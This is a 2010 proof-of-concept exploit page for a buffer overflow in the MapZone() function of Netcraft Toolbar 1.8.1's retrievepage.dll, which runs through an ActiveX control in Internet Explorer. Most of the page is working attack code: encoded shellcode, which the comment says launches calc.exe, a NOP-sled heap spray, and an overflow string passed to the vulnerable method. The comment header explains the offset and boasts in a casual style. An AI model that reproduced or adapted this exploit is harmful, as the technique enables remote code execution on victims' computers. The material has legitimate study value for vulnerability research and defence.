<!--
Title: Netcraft Toolbar 1.8.1 Remote Code Execution Exploit Date: Nov 23, 2010 Author: Rew Email: rew [splat] leethax.info Link: http://toolbar.netcraft.com/install/Netcraft%20Toolbar.msi Version: 1.8.1 Tested on: WinXP - IE 6 CVE: NA (0day)
This object is NOT marked safe for scripting so the impact of this issue is small. You'll have to enable loading of unsafe ActiveX controls to be able to test it.
There is a classic buffer overflow in "%PROGRAMFILES%\Netcraft Toolbar\retrievepage.dll". By supplying an overly long string to the MapZone() function we can blah blah blah... this has been covered 10000000 times. Our offset is... [75 junk bytes][ebp][eip]. l33th4x iknowright.
NOTE: This issue appears to get patched silently after the Netcraft Toolbar loads up in IE. retrievepage.dll gets replaced however curiously, both the old and new dlls have the SAME version number (1.0.1.0), and there is no indication an update has occured. Maybe Netcraft is trying to hide the vulnerability? I dont know. The vulnerable dll is 180KB whereas the patched one is 172KB. Meh, just fyi. Make sure it's loading the 180KB one when testing.
much love to irc.rizon.net#beer
PS: Any Information Security firms looking for a knowledgeable, motivated intern? I sure would love to talk to you.
-->
<object classid='clsid:73F57628-B458-11D4-9673-00A0D212FC63' id='target' /></object>
<script>
// runs calc.exe var shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e' ); var nops = unescape('%u9090%u9090'); var headersize = 20; var slackspace = headersize + shellcode.length;
while(nops.length < slackspace) { nops += nops; }
var fillblock = nops.substring(0, slackspace); var block = nops.substring(0, nops.length - slackspace);
while((block.length + slackspace) < 0x50000) { block = block + block + fillblock; }
// Do a little dance... memory=new Array(); for(counter=0; counter<200; counter++){ memory[counter] = block + shellcode; }
// Make a little love... var pwnt = ""; while(pwnt.length <= 83){ pwnt += "\x0c"; }
// Get down tonight! document.getElementById('target').MapZone( pwnt );
</script>
|